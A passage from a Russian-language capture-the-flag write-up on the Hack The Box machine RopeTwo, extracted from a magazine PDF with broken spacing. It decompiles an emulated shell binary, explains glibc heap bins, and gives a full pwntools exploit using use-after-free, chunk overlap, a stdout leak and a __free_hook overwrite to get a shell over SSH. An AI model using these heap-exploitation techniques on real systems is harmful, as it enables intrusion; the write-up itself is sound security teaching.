    BOOL_Compare = strncmp((char *)STR_User_Input,"add ",4); 
    if (BOOL_Compare == 0) { 
      shell_add_function((char *)(STR_User_Input + 4)); 
    } 
    else { 
      BOOL_Compare = strncmp((char *)STR_User_Input,"rm ",3); 
      if (BOOL_Compare == 0) { 
        shell_rm_function((char *)(STR_User_Input + 3)); 
      } 
      else { 
        BOOL_Compare = strncmp((char *)STR_User_Input,"echo ",5); 
        if (BOOL_Compare == 0) { 
          puts((char *)(STR_User_Input + 5)); 
        } 
        else { 
          BOOL_Compare = strncmp((char *)STR_User_Input,"edit ",5); 
          bVar3 = false; 
          bVar5 = BOOL_Compare == 0; 
          if (bVar5) { 
            shell_edit_fuction((char *)(STR_User_Input + 5)); 
          } 
          else { 
            if (STR_User_Input == &whoami) { 
              puts("r4j"); 
            } 
            else { 
              if (STR_User_Input == &id) { 
                puts("uid=1000(r4j) gid=1000(r4j) groups=1000(r4j)"); 
              } 
              else { 
                printf("rshell: %s: command not found\n",STR_User_Input); 
              } 
            } 
          } 
        } 
      } 
    }}

main

shell_set_enviroment(); 
  memset(var_user_input,0,200); 
  do { 
    do { 
      printf("$ "); 
      bytes_read = read(0,var_user_input,199); 
    } while ((int)bytes_read < 2); 
    var_user_input[(int)bytes_read + -1] = 0; 
    shell_menu_func(var_user_input); 
  } while( true ); 
}

shell_ls_function 

  while (i < 2) { 
    if ((&FILE1_555555558060)[(long)local_14 * 0xd0] != 0) { 
      puts((char *)((long)local_14 * 0xd0 + 0x555555558068)); 
    } 
    i = i + 1; 
  }

shell_add_func 

    if ((FILE1_555555558060 == 0) || (FILE2_555555558130 == 0)) { // Если один из файлов пуст 
    num_of_files_counter_1 = 0; 
    while (num_of_files_counter_1 < 2) { 
      isEqual = strcmp((char *)((long)num_of_files_counter_1 * 0xd0 + 0x555555558068),file_name); // Проверка имен файлов на совпадение 
      if (isEqual == 0) { 
        puts("rshell: file exists"); 
        goto LAB_5555555555b9; 
      } 
      num_of_files_counter_1 = num_of_files_counter_1 + 1; 
    } 
    num_of_files_counter_2 = 0; 
    while (num_of_files_counter_2 < 2) {     
      if ((&FILE1_555555558060)[(long)num_of_files_counter_2 * 0xd0] == 0) { // Если файл пуст 
        strncpy((char *)((long)num_of_files_counter_2 * 0xd0 + 0x555555558068),file_name,0xbe); // Сохраняем имя файла 
        printf("size: "); 
        __isoc99_scanf(&_U_,&var_size); // Запрос размера чанка в Unsigned Integer 
        getchar(); 
      if (var_size < 0x71) {  // Размер чанка - не больше 0x70 байт 
        alloc = malloc((void *)(&FILE1_555555558060)[(long)local_1c * 0xd0],(ulong)var_size); //Выделяем чанк с указанным размером 
        if (alloc == (void *)0x0) { 
          puts("Error"); 
          exit(1); 
        } 
        else { 
          *(void **)(&FILE1_555555558060 + (long)num_of_files_counter_2 * 0xd0) = alloc;  // Сохраняем указатель на контент 
          printf("content: "); 
          fgets((char *)(&FILE1_555555558060)[(long)num_of_files_counter_2 * 0xd0],0,stdin); // Записываем контент в память 
        }       
        num_of_files_counter_2 = num_of_files_counter_2 + 1; 
    } 
  } 
  else { 
    puts("Memory Error!"); 
    } 
  }

shell_edit_fuction 

   do {

    if (num_files>1) { 
      puts("rshell: No such file or directory"); 
 goto_label: 
      return; 
    } 
    isEqual = strcmp(file_name,(char *)((long)num_files * 0xd0 + 0x555555558068)); // Проверка имен файлов на совпадение 
    if ((isEqual == 0) && ((&FILE1_555555558060)[(long)num_files * 0xd0] != 0)) { 
      var_size = 0; 
      printf("size: "); 
      __isoc99_scanf(&_U_,&var_size); // Запрос размера чанка в Unsigned Integer 
      getchar(); 
      if (var_size < 0x71) { // Размер чанка - не больше 0x70 байт 
        alloc = realloc((void *)(&FILE1_555555558060)[(long)num_files * 0xd0],(ulong)var_size); //Переопределяем размер чанка 
        if (alloc == (void *)0x0) { 
          puts("Error"); 
        } 
        else { 
          *(void **)(&FILE1_555555558060 + (long)num_files * 0xd0) = alloc; // Сохраняем указатель на контент 
          printf("content: "); 
          read(0,(void *)(&FILE1_555555558060)[(long)num_files * 0xd0],(ulong)var_size); // Записываем контент в память 
        } 
      } 
      else { 
        puts("Memory Error!"); 
      } 
      goto goto_label; 
    } 
    } 
     num_files = num_files + 1; 
  } while( true );

shell_rm_function 

 do { 
   if (num_files>1) { 
     printf("rm: cannot remove \'%s\': No such file or directory\n",filename); 
goto_label: 
     return; 
   } 
   // Проверка имен файлов на совпадение 
   iVar2 = strcmp(filename,(char *)((long)num_files * 0xd0 + 0x555555558068)); 
   if ((iVar2 == 0) && ((&FILE1_555555558060)[(long)num_files * 0xd0] != 0)) { 
       // Очистка имени файла 
     memset((void *)((long)num_files * 0xd0 + 0x555555558068),0,200); 
       // Освобождение чанка 
     free((void *)(&FILE1_555555558060)[(long)num_files * 0xd0]); 
       // Очистка указателя 
     (&FILE1_555555558060)[(long)num_files * 0xd0] = 0; 
     goto LAB_5555555557c2; 
   } 
   num_files = num_files + 1; 
 } while( true );

Ди аграмма основных дизас сем бли рован ных фун кций

Как  ока залось,  это  вов се  не  restricted  shell,  а  лишь  его  эму ляция.  Нам  дос‐ 
тупно все го нес коль ко команд: add, edit, rm, ls, echo, id и whoami. Самые инте‐ 
рес ные из них — пер вые четыре (поз же выяс нится, что три). Они поз воля ют
соз давать,  изме нять,  уда лять  и  отоб ражать  объ екты  («фай лы»)  и  выделять
соот ветс тву ющие  им  учас тки  в  памяти  с  опре делен ным  раз мером  (не
более 112 байт) и кон тентом. При чем коман да ls выводит толь ко име на фай‐ 
лов, без содер жания. Что ж, все ука зыва ет на то, что впе реди нас ждет heap
exploitation.

В интерне те мно го информа ции на эту тему, начать свое пог ружение в нее
мож но, нап ример, с  . Пер вое, что нам нуж но, — най ти
уяз вимос ти в коде, которые мож но про экс плу ати ровать.

сай та Дха вала Капила

На пер вый взгляд, никаких явных  уяз вимос тей в  коде нет. Вез де исполь‐ 
зуют ся либо безопас ные фун кции, либо про вер ки раз мернос ти, а ввод  тер‐ 
миниру ется нулем. Я пот ратил мно го вре мени, преж де чем нашел уяз вимость
под наз вани ем use after free (UAF).

Под робнее о  том, что  такое UAF, мож но почитать, нап ример, в 
.

бло ге Or‐
ange Cyberdefense

НАСТРАИВАЕМ ОКРУЖЕНИЕ
Наш  экс пло ит  мы  будем  писать  с  помощью  pwntools  —  незаме нимой
питонов ской  биб лиоте ки  для  соз дания  экс пло итов.  Но  пер вым  делом  нам
нуж но  нас тро ить  окру жение.  Для  это го,  помимо  самого  rshell,  необ ходимо
ска чать  с  машины  RopeTwo  биб лиоте ки  glibc  (стан дар тная  биб лиоте ка  C,
реали зующая сис темные вызовы и основные фун кции, такие как malloc, open,
printf) и ld (биб лиоте ка динами чес кой лин ковки). Это необ ходимо для пол ной
сов мести мос ти вер сий. Во‐пер вых, новые релизы glibc час то содер жат изме‐ 
нения, устра няющие те или иные уяз вимос ти, а во‐вто рых, нам важ но, что бы
сме щения  всех  фун кций  сов падали.  Ниже  при веде на  таб лица  вер сий  glibc
и воз можнос ти исполь зования раз личных вари антов heap exploitation.

По пуляр ные тех ники heap exploitation

Ви дим, что в нашем слу чае мы будем исполь зовать вер сию libc 2.29.

Вер сия libc на сер вере

Так же  в  интерне те  необ ходимо най ти и  ска чать  вер сию  libc 2.29  с отла доч‐ 
ными  сим волами,  без  них  писать  экс пло ит  край не  зат рудни тель но.  Думаю,
с этим квес том ты спра вишь ся.

Те перь  надо  про пат чить  наш  rshell  коман дой 
,  что бы  он  стал  исполь зовать  лин кер  нуж ной

вер сии.

patchelf  ‐‐set‐inter‐
preter ./ld‐2.29.so rshell

Те перь, если ты хочешь запус тить  rshell c нуж ной вер сией  libc, исполь зуй
коман ду

 rshell LD_PRELOAD='libc‐2.29.so'

Вы вод checksec

Вы вод  checksec  зас тавля ет  сод рогнуть ся  —  вклю чены  все  защит ные
механиз мы! Но мы при нима ем вызов!
1.    Гло баль ная  таб лица  сме щений  (GOT)  дос тупна  толь ко
для чте ния. Это озна чает, что мы не можем переза писать в ней ука затель
фун кции, что бы изме нить ход выпол нения прог раммы.

Full  RELRO.

2.    В  сте ке  раз меща ется  «канарей ка»  (опре делен ное  зна‐ 
чение,  переза пись  которо го  озна чает,  что  стек  был  изме нен),  поэто му
перепол нение сте ка нам не све тит, если толь ко мы не смо жем заполу чить
кон троль над «канарей кой».

Canary  found.

3.    Озна чает  отсутс твие  областей  в  памяти,  поз воля ющих
одновре мен ную  запись  и  исполне ние  (RWX).  Поэто му  мы  не  можем
помес тить в адресное прос транс тво шелл‐код и запус тить его.

NX  enabled.

4.   PIE — это аббре виату ра от Position Independent Executable.
Озна чает, что базовый адрес исполня емо го фай ла меня ется при каж дом
запус ке, поэто му без утеч ки исполь зовать ROP и ret2libc не получит ся.

PIE enabled.

Для начала напишем вспо мога тель ные фун кции, эму лиру ющие поль зователь‐ 
ский ввод.

     def add(name, size, content="A"):
     io.sendlineafter('$ ', 'add '+str(name))
     io.sendlineafter('size: ', str(int(size)))
   io.recvuntil("content: ")
   io.sendline(content)

     def edit(name, size, content="A"):
     io.sendlineafter('$ ', 'edit '+str(name))
     io.sendlineafter('size: ', str(int(size)))
         if int(size) != 0:
       io.recvuntil("content: ")
       io.send(content)

 def rm(name):
     io.sendlineafter('$ ', 'rm '+str(name))

Тут сра зу важ но отме тить, что в фун кции   мы не можем исполь зовать 
,  как  в  фун кции  ,  пос коль ку  для  записи  кон тента  add

исполь зует  , а edit —  . Поэто му вос поль зуем ся методом 
, который добав ляет в кон це перенос стро ки и голов ной боли

нам (об этом даль ше).

add io.
send(content) edit

fgets read io.send‐
line(content)

КУЧА, БИНЫ И ЧАНКИ
Бин — это кор зина, в которую попада ют осво бож денные учас тки памяти (чан‐ 
ки).  Пред став ляет  собой  спи сок  осво бож денных  чан ков,  который  быва ет
односвяз ный и двус вязный. Основное его наз начение — быс трое выделе ние
учас тка  памяти  (по  ста тис тике,  в  прог раммах  час то  выделя ются  и  осво бож‐ 
дают ся учас тки памяти оди нако вых раз меров). Вид связ ности спис ка зависит
от того, в какой бин попал осво бож даемый чанк, что, в свою оче редь, зависит
от его раз мера. Раз мер чан ка уве личи вает ся крат но 16 бай там (0x20 → 0x30
→  0x40...). Это  зна чит,  что млад шие  4  бита  поля  раз мера  чан ка  не  исполь‐ 
зуют ся. Вмес то это го они содер жат фла ги сос тояния чан ка:

  —  уста нов ленный  флаг  озна чает,  что  пре дыду щий  чанк
исполь зует ся, и наобо рот;

• PREV_INUSE

 — озна чает, что этот чанк был выделен  ;• IS_MMAPPED mmap()

 — озна чает, что чанк не при над лежит main arena.• NON_MAIN_ARENA

Аре на  —  это  струк тура  фун кции  ,  содер жащая  бины  для  осво бож‐ 
денных из кучи чан ков.

malloc

Мак сималь ное  количес тво  арен  для  про цес са  огра ниче но  количес твом
ядер про цес сора, которое дос тупно это му про цес су.

На  дан ный  момент  сущес тву ет  пять  типов  бинов  (циф ры  при веде ны
для 64‐бит ных при ложе ний):
1.    (появил ся  в  glibc  2.26)  для  любых  чан ков,  которые  мень ше
или рав ны 0x410 байт. Все го 64 односвяз ных спис ка на каж дую аре ну. Каж‐ 
дый  tcache  bin  хра нит  чан ки  оди нако вого  раз мера.  Каж дый  tcache  bin
может хра нить мак симум семь осво бож денных чан ков.

Tcache

2.    для  любых  чан ков,  которые  мень ше  или  рав ны  0x0b  байт.  Все го
десять односвяз ных спис ков на каж дую аре ну c раз мером от 0x20 до 0xb0.
Fast

3.  .  Двус вязный  спи сок,  который  может  содер жать  чан ки  любого
раз мера. Каж дая аре на содер жит толь ко один такой спи сок. При выделе‐ 
нии области памяти перед unsorted bin сво бод ные чан ки ищут ся сна чала
в бинах tcache, fast и small. Large bin опра шива ется пос ледним.

Unsorted

4.   — кол лекция из 62 двус вязных спис ков на каж дую аре ну раз мером
от 0x20 до 0x3f0 (перек рыва ются по раз мерам с fast bins).
Small

5.   — кол лекция из 63 двус вязных спис ков на каж дую аре ну, из них каж‐ 
дый  содер жит  чан ки,  раз мер  которых  лежит  в  опре делен ном  диапа зоне
(нап ример,    содер жит  осво бож денные  чан ки  раз‐ 
меров 0x400–0x430).

Large

largebin  0x400

Для наг ляднос ти выпол ним прос той код, который соз дает и очи щает два чан‐ 
ка по 0x30 байт каж дый:

 add(0, 0x28)
 add(1, 0x28)

rm(0)
rm(1)

Пос мотрим,  как  это  выг лядит  в  GDB.  Мы  видим,  что  оба  чан ка  попали
в  . Струк тура tcache bin пред став лена на скрин шоте.tcachebin 0x30

Tcache bin в отладчи ке

Од носвяз ный спи сок мож но пред ста вить так.

Од носвяз ный спи сок бина

А  двус вязный  —  так  (для  small  bins  Size  будет  оди нако вый,  а  для  large  bin
еще добавят ся ука зате ли   и  ).fd_nextsize bk_nextsize

Двус вязный спи сок бина

 ука зыва ет на сле дующий чанк в спис ке, а   — на пре дыду щий.fd bk

Продолжение статьи →
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КУЧА ПРИКЛЮЧЕНИЙ
ИЗУЧАЕМ МЕТОДЫ HEAP EXPLOITATION

НА ВИРТУАЛКЕ C HACK THE BOX

COVERSTORY  НАЧАЛО СТАТЬИ←

ПИШЕМ ЭКСПЛОИТ
С  теорией  покон чено,  теперь  поп робу ем  написать  при митив  про изволь ной
записи, исполь зуя UAF. Мы не можем исполь зовать тех нику Tcache Dup (Dou‐
ble Free), так как в glibc 2.29 появи лась защита от нее.

Но вмес то двой ного вызова   мы можем исполь зовать realloc c раз‐ 
мером 0. Ниже при веден код при мера:

free()

 

 

 

 
def debug(breakpoints): 
    script_noaslr= ''' 
set verbose on 
break *0x555555555656 
commands 
silent 
tcachebins 
continue 
end 
continue 
''' 
    gdb.attach(io,gdbscript=script_noaslr)

‐‐skip‐‐

TARGET=p64(0x55555555a3f0) 
VALUE=p64(0xdeadbeef) 
add('A', 0x28) 
edit('A', 0) # Помеща ем чанк в tcachebins 0x30 
io.sendlineafter('$ ', 'ls') # Выводим tcachebins 
edit('A', 0x28, TARGET) # Пишем адрес наз начения в «пус той» чанк, 
заменяя ука затель fd 
io.sendlineafter('$ ', 'ls') # В tcachebins теперь два чан ка, один 
из которых ука зыва ет на TARGET 
add('B', 0x28) # «Дос таем» из кор зины пос ледний чанк из цепоч ки 
edit('B', 0x38) # Уве личи ваем раз мер чан ка B и очи щаем его 
rm('B') 
edit('A',0x48) # Уве личи ваем раз мер чан ка A и очи щаем его 
rm('A') 
io.sendlineafter('$ ', 'ls') # У нас три tcachebins, 0x30 ука зыва ет 
на TARGET 
add('A', 0x28, VALUE) # Выделя ем чанк раз мером 0x30, тем самым пишем 
VALUE в TARGET 
‐‐skip‐‐

Встав ляем  этот  фраг мент  в  наш  скрипт  и  запус каем  коман дой 
.

./uaf.py 
NOASLR GDB

Пер вый  параметр  отклю чает  ASLR  (Address  Space  Layout  Randomization),
а вто рой запус кает GDB.

В клю чевых мес тах я повесил вывод   в    на адрес фун‐ 
кции   —   (при каж дом вызове ls мы будем видеть информа‐ 
цию о   в отладчи ке).

tcachebins pwndbg
ls 0x555555555656
tcachebins

Вы вод tcache bins в отладчи ке

Ви дим, что зна чение по адре су 0x55555555a3f0 переза писа но!

Зна чение в памяти переза писа но

Те перь,  ког да  у  нас  есть  при митив  про изволь ной  записи,  нуж но  при думать,
как его исполь зовать (забегая впе ред, ска жу, что в финаль ном экс пло ите этот
при митив  будет модифи циро ван,  так  как мы  огра ниче ны  толь ко  дву мя фай‐ 
лами). План обыч но сле дующий: добива емся утеч ки адре са биб лиоте ки  libc,
вычис ляем  ее  базовый  адрес  по  сме щению,  а  затем  под меня ем  вызов
какого‐либо  хука    или  сис темным  вызовом,  если 
не работа ет (не соб люда ются усло вия его вызова).

one_gadget one_gadget

На  этом  эта пе  дос таточ но  прос то  написать  экс пло ит,  под смот рев  адрес
libc  в  .  Можешь  поп робовать,  это  будет  хорошей  прак‐ 
тикой! Но  такой фокус не прой дет на  вир туал ке,  так  как при  запус ке бинар‐ 
ника с битом SUID кар та памяти про цес са будет недос тупна для чте ния.

/proc/_pid_/maps

По это му  воз ника ет  воп рос:  как  нам  добить ся  утеч ки  адре са  libc,  если
в бинар нике вклю чены все механиз мы защиты, а в коде нет явных уяз вимос‐ 
тей?  При  этом  мы  огра ниче ны  толь ко  дву мя  чан ками  мак симум  по  70  байт
каж дый! На пер вый взгляд это  кажет ся невоз можным, и мне приш лось про‐ 
вес ти немало часов в интерне те, преж де чем ответ нашел ся.

Раз гадка  кро ется в соз дании фик тивно го unsorted bin и брут форсе 4 бит
ука зате ля на stdout. Но обо всем по поряд ку.

Пер вое,  что  нам  нуж но,  —  под менить  раз мер  чан ка,  что бы  его  раз мер
пре высил  420  байт  и  при  его  очис тке  он  попал  в  unsorted  bin.  При чина,
по которой нам так важен unsorted bin, в том, что в   и   помеща ются ука‐ 
зате ли  на  libc  (main  arena  +  offset).  Таким  обра зом  мы  получа ем  дос туп
к адресно му прос транс тву libc, обой дя PIE и ASLR!

fd bk

Да лее мы можем заменить пос ледние два бай та  это го адре са,  что бы он
стал ука зывать на stdout. Одна ко из‐за ASLR сме щение при каж дом запус ке
отли чает ся, но, к счастью, все го на 4 бита! Оста ется глав ный воп рос: как зас‐ 
тавить stdout вывес ти нам адрес libc?

Для  это го  при дет ся  углу бить ся  в  ана лиз  исходни ков,  пос ле  чего  получа‐ 
ется сле дующая кар тина.

При  вызове    про исхо дит  вызов  фун кции 
по сле дующей цепоч ке:   →   →   →

.  В    нас  инте ресу ет  вызов
,  который  опре делен  как  мак рос  фун кции  .

Если фла ги в это вре мя сиг нализи руют о том, что буфер не пуст, то зна чение
буфера  (ука затель    ука зыва ет  на  начало  буфера,
а   — на его конец) выводит ся в stdout. Если мы изме ним фла ги

 нуж ным обра зом, мы смо жем устро ить утеч ку адре са libc!

puts _IO_new_file_overflow
_IO_puts _IO_sputn _IO_new_file_xsputn

_IO_new_file_overflow _IO_new_file_overflow
_IO_do_write _IO_new_do_write

_IO_write_base
_IO_write_ptr

_IO_2_1_stdout_
Зву чит  как  план,  поп робу ем  его  реали зовать.  Пер вое,  что  нам  необ‐ 

ходимо, — добить ся попада ния чан ка в unsorted bin. Но как это сде лать, если
мы огра ниче ны раз мером 0x70 байт?

Бу дем  соз давать  боль шой  фик тивный  чанк!  Сна чала  под готовим  вспо‐ 
мога тель ные чан ки:

 add(0, 0x68)
     edit(0, 0, "") # tcache 0x70
    edit(0, 0x18) # tcache 0x50 (0x70‐0x20)

  rm(0) # tcache  0x20

 add(0, 0x48)
     edit(0, 0, "") # tcache 0x50
     edit(0, 0x48, "C"*0x10) # Перезаписываем fd и bk, чтобы избежать 

проверки double free
rm(0)

Бла года ря этим манипу ляци ям с tcache и у нас появи лось наложе ние чан ков.

На ложе ние чан ков

Те перь мы можем изме нить раз мер нашего фик тивно го чан ка:

   add(0, 0x48) # Достаем из бина один tcache 0x50
     add(1, 0x68, b"C"*0x18+p64(0x451)) # Достаем tcache 0x70 и пишем 

0x451 в поле size фиктивного чанка
rm(1)

По меня ли раз мер фик тивно го чан ка

От лично,  раз мер  tcache  0x50  изме нил ся  на  0x450.  Теперь  нуж но  выделить
дос таточ ное количес тво памяти, что бы мож но было ее осво бодить.

# Выделяем 0x400+ байт для unsorted bin
     for i in range(9):

     add(1, 0x28)
     edit(1, 0x70)
   rm(1)

# После этого шага у нас создается unsorted bin, fd которого 
указывает на main_arena + 96
# А поскольку мы сделали наложение чанков, этот fd совпадает с fd 
tcache 0x50

   edit(0, 0, "")
# Частично перезаписываем fd, чтобы попасть в stdout (bruteforce 4 
bits)

   edit(0, 0x38, p16(0x7750))

В ито ге у нас получа ется сле дующая кар тина.

За меня ем ука затель fd на stdout

На чало струк туры   выг лядит так.IO_2_1_stdout

Струк тура stdout

Мы поч ти у цели: дос таем из tcache 0x50 лиш ний чанк и записы ваем нуж ный
нам  «пей лоад»  в  stdout‐0x10  (если  повезет,  шанс  —  1/16).  Тут  надо  под‐ 
робнее  оста новить ся  на  самом  пей лоаде.  Поль зуясь  слу чаем,  перед  stdout
мы пишем стро ку 16 байт, которую переда дим в качес тве парамет ра в 

.  Далее  нам  необ ходимо  записать  зна чение  .  Что бы
обма нуть  фун кцию  ,  нам  нуж ны  сле дующие  фла ги,  опре‐ 
делен ные в  :

system
("/bin/sh") _flags

_IO_new_do_write
libio.h

#define _IO_MAGIC 0xFBAD0000 /* Magic number */
...
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000

В  поле    из    пишем  зна чение  ,  которое
зас тавля ет    думать,  что  буфер  непус той.  Три  сле дующих
qword  (ука зате ли  )  дол жны  быть  пус тыми,  но  мы  записы ваем
в    стро ку  ,  что бы  потом  про ще  было  най ти  нуж ный
адрес. Фун кция   вырав нива ет стро ку   по пра вому краю, что бы
за  ней  сра зу  шел  адрес  .  Пер вый  параметр  фун кции  —
это ширина гра ниц вырав нивания, а вто рой — сим вол, которым запол няют ся
пус тые  мес та  (по  умол чанию  —  про бел).  Почему  ширина  гра ниц  вырав‐ 
нивания 7, а не 8? Пом нишь, в начале я говорил, что фун кция add исполь зует

 и добав ляет перенос стро ки в кон це? Имен но из‐за это го при ходит ся
делать поп равку в 1 байт.

_flags _IO_2_1_stdout 0xfbad1800
_IO_new_do_write

IO_read
_IO_read_base "leak:"

rjust "leak:"
_IO_write_base

fgets

   add(1, 0x48) # Достаем из бина лишний tcache 0x50
 edit(1, 0x18)

rm(1)
   edit(0, 0x18, "C"*0x10)

rm(0)

   
 

add(0, 0x48, b"/bin/sh\x00"+b"\x00"*8+p64(0xfbad1800)+p64(0)*2+
b"leak:".rjust(7, b"\x00"))

В ито ге, если мы попали в нуж ный нам адрес (  – 0x10), кар‐ 
тина будет сле дующая:

_IO_2_1_stdout_

       
 

0x15555551e750 <_IO_2_1_stderr_+208>: 0x0068732f6e69622f ("/bin/sh"
) 0x0000000000000000

        0x15555551e760 <_IO_2_1_stdout_>:       0x00000000fbad1800 (flags)
0x0000000000000000

      
 

0x15555551e770 <_IO_2_1_stdout_+16>: 0x0000000000000000      
0x0a3a6b61656c0000 ("leak:\n")

        
 

0x15555551e780 <_IO_2_1_stdout_+32>: 0x000015555551e700 (
_IO_write_base) 0x000015555551e7e3

      0x15555551e790 <_IO_2_1_stdout_+48>: 0x000015555551e7e3      
0x000015555551e7e3

      0x15555551e7a0 <_IO_2_1_stdout_+64>: 0x000015555551e7e4      
0x0000000000000000

Так как фун кция   исполь зует  , мы сра зу получа ем дол гождан ную утеч‐ 
ку адре са libc ( )!

add puts
_IO_write_base_

Де ло  оста лось  за  малым  —  рас счи тать  нуж ные  сме щения  (дос таточ но
толь ко  ,  осталь ное  pwntools  сде лает  за  нас!),  заменить  хук  осво‐ 
бож дения памяти   на   с помощью UAF и выз вать очис тку
памяти с парамет ром   (об этом парамет ре мы уже позабо тились).

libc_base
__free_hook system

"/bin/sh"
Пол ный лис тинг экс пло ита с ком мента риями при веден ниже.
Ос талось  при думать,  как  под клю чить ся  экс пло итом  к  rshell  на  сер вере

и авто мати зиро вать про цесс. Для это го в pwntools есть замеча тель ный инс‐ 
тру мент — SSH tube.

Он поз воля ет под клю чать ся по SSH к сер веру и с помощью Python запус‐ 
кать экс плу ата цию нуж ного нам про цес са. Но с RopeTwo есть один нюанс —
на  сер вере  отсутс тву ет  Python  2,  а  pwntools  по  умол чанию  работа ет  толь ко
с ним. При дет ся нем ного пошама нить!

На ходим  у  себя  файл  ,  в  нем
стро ку, где перечис лены интер пре тато ры Python, и добав ляем в нее  :

../dist‐packages/pwnlib/tubes/ssh.py
python3

   
   

script = 'for py in python2.7 python2 python python3; do test ‐x "$(
which $py 2>&1)" && exec $py ‐c %s check; done; echo 2' % sh_string(
script)

Есть и еще одна проб лема — при неудач ном брут форсе rshell пери оди чес ки
зависа ет, поэто му я решил переза пус кать брут форс по  тай меру с помощью
signal.

INFO

Signal — это асин хрон ное уве дом ление про цес са
Linux о каком‐либо событии. В дан ном слу чае нас
инте ресу ет  SIGALRM —  сиг нал  исте чения  задан‐ 
ного  вре мени.  В  Википе дии  об  этом  есть  под‐ 
робная статья:  .Сиг нал_(Unix)

А вот и финаль ный код экс пло ита:

#!/usr/bin/env python3

     from pwn import *
 import signal

# Вспомогательная функция для рестарта зависшего шелла
   def handler(signum, frame):

   log.warning("Game over, rshell freezes")
   io.close()

# Базовые настройки
 context(os="linux", arch="amd64")

   localfile = "./rshell"
   locallibc = "./libc‐2.29.so"

             pf = lambda name,num           :log.info(name + ": 0x%x" % num)

   elf = ELF(localfile)
   libc = ELF(locallibc)

         io = process(localfile, env={'LD_PRELOAD': locallibc}, timeout=1)

# Функция отладки
 def debug(breakpoints):

     script= '''
continue
'''
   gdb.attach(io,gdbscript=script)

# Вспомогательные функции
     def add(name, size, content="A"):

     io.sendlineafter('$ ', 'add '+str(name))
     io.sendlineafter('size: ', str(int(size)))
   io.recvuntil("content: ")
   io.sendline(content)

     def edit(name, size, content="A"):
     io.sendlineafter('$ ', 'edit '+str(name))
     io.sendlineafter('size: ', str(int(size)))
         if int(size) != 0:
       io.recvuntil("content: ")
       io.send(content)

 def rm(name):
     io.sendlineafter('$ ', 'rm '+str(name))

 def exp():
   # Запускаем таймер — 25 секунд
   signal.alarm(25)

       add(0, 0x68) # Создаем вспомогательные tcache
         edit(0, 0, "") # tcache 0x70
        edit(0, 0x18) # tcache 0x50 (0x70–0x20)
      rm(0) # tcache  0x20

       add(0, 0x48) # Создаем фиктивный чанк
         edit(0, 0, "") # tcache 0x50
         edit(0, 0x48, "C"*0x10) # Перезаписываем fd и bk, чтобы избежать 
проверки double free
   rm(0)

       add(0, 0x48) # Достаем из бина один tcache 0x50
         add(1, 0x68, b"C"*0x18+p64(0x451)) # Достаем tcache 0x70 и пишем 
0x451 в поле size фиктивного чанка
   rm(1)

   # Выделяем 0x400+ байт для unsorted bin, обходя проверку 
prev_inuse в функции free()
         for i in range(9):

        add(1, 0x28)
          edit(1, 0x70) # Мы ограничены 0x70, но получаем чанк 0x80

       rm(1)

   # После этого шага у нас создается unsorted bin, fd которого 
указывает на main_arena + 96
   # А поскольку мы сделали наложение чанков, этот fd совпадает с 
fd tcache 0x50
       edit(0, 0, "")
   # Частично перезаписываем fd, чтобы попасть в stdout (bruteforce 
4 bits)
       edit(0, 0x38, p16(0x7750))
   # Достаем из бина лишний tcache 0x50
     add(1, 0x48)
     edit(1, 0x18)
   rm(1)
         edit(0, 0x18, "C"*0x10) # Перезаписываем fd и bk, чтобы избежать 
проверки double free
   rm(0)
   # Пишем в stdout утечку адреса _IO_write_base
       

 
add(0, 0x48, b"/bin/sh\x00"+b"\x00"*8+p64(0xfbad1800)+p64(0)*2+

b"leak:".rjust(7, b"\x00"))
   # Если в полученной строке не содержится "leak:", пробуем заново
         if len(io.recvuntil("leak:")) == 0:
       log.debug("failed")
       return
   # Адрес найден, вычисляем смещение libc_base (оно разное для 
разных версий libc)
   leak_addr=u64(io.recv(8)[1:7]+b'\x00'*2)
     pf("leak_addr", leak_addr)
              libc_base = leak_addr ‐ (0x15555551d700‐0x155555338000) # REAL
   # libc_base = leak_addr ‐ (0x7ffff7fc7700‐0x7ffff7c15000) # DEBUG
       libc.address = libc_base
     pf("libc_base", libc_base)

   # Опять проворачиваем трюк с наложением (tcache 0x60 вложен в 
tcache 0x80)
       add(1, 0x70) # Мы ограничены 0x70, но получаем чанк 0x80
       edit(1, 0, "")
         edit(1, 0x18, "C"*0x10) # Перезаписываем fd и bk, чтобы избежать 
проверки double free
   rm(1)
   # Пишем указатель на __free_hook в fd tcache 0x60
       add(1, 0x70, b"C"*0x18+p64(0x61)+p64(libc.sym["__free_hook"]))
   rm(1)
   # Достаем из бина лишний tcache 0x60
     add(1, 0x58)
     edit(1, 0x28)
   rm(1)
   # Перезаписываем __free_hook на system
       add(1, 0x58, p64(libc.symbols["system"]))
   # Удаляем файл 0, который указывает на '/bin/sh\x00'. Получаем 
system("/bin/sh")!
   rm(0)
     signal.alarm(0) # Сбрасываем таймер
     io.interactive() # Переходим в интерактив

       if not args.REMOTE and args.GDB:
   debug([])

 signal.signal(signal.SIGALRM, handler)
# Цикл брутфорса

 while True:
   try:
       print("‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐")
       # io = process(localfile, env={'LD_PRELOAD': locallibc}, 
timeout=10) # ‐ local
       # l = listen(31337) # Для удаленного подключения и отладки
       # io = l.wait_for_connection()

             s = ssh(host='10.10.10.196', user='chromeuser',keyfile=
'ssh_key')

          io = s.process("/usr/bin/rshell")
       exp()
     except Exception:
       io.close()

Брут форс обыч но занима ет три‐четыре минуты, но тут как повезет... А в кон це
нас ждет дол гождан ный шелл поль зовате ля r4j! Наконец‐то мы получи ли этот
неверо ятно слож ный флаг! Или нет?!

 

 

 
 

 
 

 
 

 
 

 
 

 
total 40 
drwx‐‐‐‐‐‐ 6 r4j  r4j  4096 Jun  1  2020 . 
drwxr‐xr‐x 4 root root 4096 Feb  5  2020 .. 
lrwxrwxrwx 1 root root    9 Feb 23  2020 .bash_history → /dev/null 
‐rwx‐‐‐‐‐‐ 1 r4j  r4j   220 Apr  4  2019 .bash_logout 
‐rwx‐‐‐‐‐‐ 1 r4j  r4j    88 Apr 21 19:56 .bashrc 
drwx‐‐‐‐‐‐ 2 r4j  r4j  4096 Feb 23  2020 .cache 
drwx‐‐‐‐‐‐ 2 r4j  r4j  4096 May 27  2020 .config 
drwx‐‐‐‐‐‐ 3 r4j  r4j  4096 Feb 23  2020 .gnupg 
‐rwx‐‐‐‐‐‐ 1 r4j  r4j   807 Apr  4  2019 .profile 
drwx‐‐‐‐‐‐ 2 r4j  r4j  4096 Dec 21 19:47 .ssh 
